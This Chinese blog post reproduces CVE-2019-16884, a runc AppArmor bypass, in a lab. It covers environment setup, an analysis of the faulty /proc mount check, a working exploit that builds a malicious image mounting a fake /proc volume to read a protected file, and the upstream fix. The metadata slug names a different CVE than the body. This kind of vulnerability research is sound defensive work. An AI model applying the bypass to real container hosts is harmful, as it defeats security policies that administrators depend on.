type
Post
status
Published
date
Feb 18, 2023
slug
2023/CVE-2019-14271
summary
AppArmor是Linux的众多安全机制之一,其中一些安全机制也会基于内核
tags
云安全
category
漏洞复现
icon
password
漏洞环境
环境部署 (X)
./metarget cnv install cve-2019-16884
不过有个坑,这里自动搭建的 runc 版本有点问题,见 issue89
这里使用 ssst0n3 大佬的镜像
docker network create test docker run --network=test -d -p 2222:22 ssst0n3/docker_archive:ubuntu-20.04_docker-ce-19.03.2_docker-ce-cli-19.03.2_containerd.io-1.2.6-3_runc-1.0.0-rc8 ssh -p 2222 root@127.0.0.1
一定要创建网络噢,否则SSH连不上去
漏洞影响版本
- runC <= 1.0.0-rc8 (Docker < 19.03.1)
漏洞与 AppArmor 有关
漏洞描述
在容器镜像中可以声明一个VOLUME, 挂载至/proc, 欺骗runc使其认为AppArmor已经成功应用,从而绕过AppArmor策略。
AppArmor
相信不少同学在Centos搭建环境被 SELinux 坑过不少,AppArmor 作为 SELinux 代替品出现,是一个Linux内核安全模块,允许系统管理员通过每个程序的配置文件限制程序的功能,上手和易用性比SELinux友好太多。
该模块可以从宿主机中设置相应的规则,限制容器内的文件能不能从容器内被读写执行,
cat /sys/module/apparmor/parameters/enabled # 查看是否开启apparmor,返回为Y表示开启 cat /sys/kernel/security/apparmor/profiles # 查看加载的配置文件
Docker 在 Linux 中也是通过查看
/sys/module/apparmor/parameters/enabled
判断宿主机是否开启 AppArmor,如不开启则开启Docker默认AppArmor策略。具体runC在启动容器时会尝试加载AppArmor策略:将 exec+AppArmor策略文件路径
写入 /proc/self/attr/exec
,可参考源码,后面/proc/<pid>/attr
会在使用主要的安全模块时使用到。Process attributes associated with “major” security modules should be accessed and maintained using the special files in /proc/…/attr. A security module may maintain a module specific subdirectory there, named after the module. /proc/…/attr/smack is provided by the Smack security module and contains all its special files. The files directly in /proc/…/attr remain as legacy interfaces for modules that provide subdirectories.
修改
/proc/self/attr/exec
内容,可以在exec时修改限制策略。 The /proc/self/attr/exec file can be written to change the tasks confinement at exec time. It is used to perform the change_onexec operation.
漏洞分析
CVE-2019-16884 可以使得用户绕过AppArmor的一些策略进而可以实现一些越权操作,上面提到 docker 加载 AppArmor 是通过写入
/proc/self/attr/exec
实现的,我们可以通过挂在 /proc
卷让 runC 误认为它已成功加载 AppArmor 策略。不过 runc 在挂载时
checkMountDestination
方法有对 /proc
进行黑名单校验第2个链接如下代码判断存在逻辑问题
for _, invalid := range invalidDestinations { path, err := filepath.Rel(filepath.Join(rootfs, invalid), dest) if err != nil { return err } if path != "." && !strings.HasPrefix(path, "..") { return fmt.Errorf("%q cannot be mounted because it is located inside %q", dest, invalid) } }
经调试,
rootfs
和 dest
依次为rootfs: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged dest: /var/lib/docker/overlay2/059ee72cfdfb48906c8cee6d34eaea3dbe912a31320cbb749ff5dc39347385de/merged/proc
输出
. <nil>Program exited.
也就是说黑名单没有起作用!缺少了个
path=="."
的判断,如有正确判断,checkMountDestination
方法会返回异常调用链为
libcontainer.Init() -> prepareRootfs() -> mountToRootfs() -> checkMountDestination()
–> apparmor.ApplyProfile(l.config.AppArmorProfile)
可以注意到,应用 AppArmor 在挂载 rootfs 之后,Debug 一下确实是如此。前面我们知道 AppArmor 通过写入
/proc/self/attr/exec
去写入 AppArmor 规则的,那按理说,我们在先伪造 /proc
目录,然后 AppArmor 还是可以正常写入 /proc/self/attr/exec
才对?因为我一开始是想着 AppArmor 先写入,然后被我们伪造的 /proc
路径给覆盖了。既然能正常写入 /proc/self/attr/exe
那为啥还能bypass apparmor呢?这边调试一下,确保 AppArmor 文件确实写进去了,

执行一下 ls 命令是为了确定是否进入到容器里面了

获取
/proc/self/attr/exec
内容确实写入了,但为啥 /flag
还是能正常读取?因为写入 runc 产生的
procfs
因为他的 procfs 是容器的,每个进程运行时才能看到他们进程自己专属的 /proc/self 目录,自己伪造的是一个真实的文件系统 没有这种特性漏洞利用
ssh 登陆至容器,注意不能 docker exec 进入,因为这个镜像里面通过 qemu 模拟了一个镜像,这个镜像才是漏洞环境
root@cloud_shoot ~# ssh -p 2222 root@127.0.0.1 root@127.0.0.1's password:root
创建apparmor规则
cat > /etc/apparmor.d/no_flag <<EOF #include <tunables/global> profile no_flag flags=(attach_disconnected,mediate_deleted) { #include <abstractions/base> file, deny /flag r, } EOF
应用规则
/sbin/apparmor_parser --replace --write-cache /etc/apparmor.d/no_flag
随便建个 flag 文件
echo "flag{123-123}" > /tmp/flag
启动一个正常镜像,无权限读取/flag内容
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag busybox cat /flag

创建一个恶意镜像
mkdir apparmor-bypass/ && cd apparmor-bypass/ mkdir -p rootfs/proc/self/{attr,fd} touch rootfs/proc/self/{status,attr/exec} touch rootfs/proc/self/fd/{4,5} cat <<EOF > Dockerfile FROM busybox ADD rootfs / VOLUME /proc EOF docker build -t apparmor-bypass .
利用
docker run --rm --security-opt "apparmor=no_flag" -v /tmp/flag:/flag apparmor-bypass cat /flag

漏洞修复
在执行mount操作前,检查目的路径是否为/proc或位于/proc下, 如果是,则必须为
procfs
if path == "." { // an empty source is pasted on restore if source == "" { return nil } // only allow a mount on-top of proc if it's source is "proc" isproc, err := isProc(source) if err != nil { return err } // pass if the mount is happening on top of /proc and the source of // the mount is a proc filesystem if isproc { return nil } return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest) }
其他
关于断点调试点一些小坑
因为 docekr 的各个组件的调用顺序是 docker run -> dockerd -> containerd -> containerd-shim -> runc ,因为 runc 是 cli 来的,我们并不知道入参是什么,这里用了个笨方法,依次拉 docker cli、dockerd、containerd 和 runc 的代码下来,然后 docker cli -> dockerd 是 HTTP REST 请求,dockers -> containerd 是 gRPC 请求,经 debug 发现 dockerd 通过 containerd 依赖的 client 去 gRPC调用。然后调用 containers-shim 以及 containers-shim 调 runc 通过系统命令调用,一开始在 moby 库找了很多 runc 代码发现没有 rootfs.go 这个文件,原来是 moby 并没有直接依赖 runc 的这部分代码。
各个版本
- docker-ce-19.03.2
- docker-ce-cli-19.03.2
- containerd.io-1.2.6-3
- runc-1.0.0-rc8
- 注意低版本编译默认没有开启 apparmor 选项,
tags "seccomp apparmor"
seccomp
选项需要安装依赖apt install pkg-config
apt install libseccomp-dev